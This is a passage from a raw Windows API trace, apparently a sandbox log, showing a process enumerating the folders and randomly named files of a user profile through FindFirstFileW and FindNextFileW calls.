ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1d49c0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x7d7d6000, ftLastAccessTime.dwHighDateTime=0x1d4cbfd, ftLastWriteTime.dwLowDateTime=0x7d7d6000, ftLastWriteTime.dwHighDateTime=0x1d4cbfd, nFileSizeHigh=0x0, nFileSizeLow=0x33cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gsjZHHkpLbVJkW1Clgz.jpg", cAlternateFileName="GSJZHH~1.JPG")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836eb550, ftCreationTime.dwHighDateTime=0x1d4c6e8, ftLastAccessTime.dwLowDateTime=0xa7891fe0, ftLastAccessTime.dwHighDateTime=0x1d4c5d3, ftLastWriteTime.dwLowDateTime=0xa7891fe0, ftLastWriteTime.dwHighDateTime=0x1d4c5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IGq6V3a", cAlternateFileName="")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c64280, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0x41307b50, ftLastAccessTime.dwHighDateTime=0x1d4c950, ftLastWriteTime.dwLowDateTime=0x41307b50, ftLastWriteTime.dwHighDateTime=0x1d4c950, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LlZj-da3Lc0SAD", cAlternateFileName="LLZJ-D~1")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mwC61ttLhFHO7U8H", cAlternateFileName="MWC61T~1")) returned 1 [0066.651] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd75f58a0, ftCreationTime.dwHighDateTime=0x1d4d3ad, ftLastAccessTime.dwLowDateTime=0x24a52860, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x24a52860, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0xc3f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QCte6Xmtwsu.gif", cAlternateFileName="QCTE6X~1.GIF")) returned 1 [0066.652] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 1 [0066.652] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0 [0066.652] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.652] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0066.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.652] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.652] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.652] PathFindFileNameW (pszPath="") returned="" [0066.652] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0xffffffff [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d340 | out: hHeap=0x5d0000) returned 1 [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.652] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0066.652] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.652] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.652] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.652] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.653] PathFindFileNameW (pszPath="") returned="" [0066.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0xffffffff [0066.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.653] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0066.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.653] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.653] PathFindFileNameW (pszPath="") returned="" [0066.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.653] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d340 | out: hHeap=0x5d0000) returned 1 [0066.653] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.653] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.653] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0066.654] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.654] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0066.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.654] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.654] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.654] PathFindFileNameW (pszPath="") returned="" [0066.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0066.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0066.654] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0066.654] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.654] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.655] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0066.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.655] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.655] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.655] PathFindFileNameW (pszPath="") returned="" [0066.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.655] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0066.655] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.655] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.655] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.655] PathFindFileNameW (pszPath="") returned="" [0066.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d340 | out: hHeap=0x5d0000) returned 1 [0066.655] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.656] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0066.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.656] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.656] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.656] PathFindFileNameW (pszPath="") returned="" [0066.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d340 | out: hHeap=0x5d0000) returned 1 [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0066.656] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0066.656] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.656] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.656] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.656] PathFindFileNameW (pszPath="") returned="" [0066.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.656] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3ymkgwpUkCk", cAlternateFileName="3YMKGW~1")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98126c0, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xa6fc8f30, ftLastAccessTime.dwHighDateTime=0x1d4d177, ftLastWriteTime.dwLowDateTime=0xa6fc8f30, ftLastWriteTime.dwHighDateTime=0x1d4d177, nFileSizeHigh=0x0, nFileSizeLow=0xf645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVN7NAajpgvxg30uiR.mp4", cAlternateFileName="EVN7NA~1.MP4")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191129f0, ftCreationTime.dwHighDateTime=0x1d4cefd, ftLastAccessTime.dwLowDateTime=0x22d690a0, ftLastAccessTime.dwHighDateTime=0x1d4c846, ftLastWriteTime.dwLowDateTime=0x22d690a0, ftLastWriteTime.dwHighDateTime=0x1d4c846, nFileSizeHigh=0x0, nFileSizeLow=0x7d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flxbNwcWgV0n4kR.flv", cAlternateFileName="FLXBNW~1.FLV")) returned 1 [0066.657] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c274c0, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0x91dd0a60, ftLastAccessTime.dwHighDateTime=0x1d4d1e7, 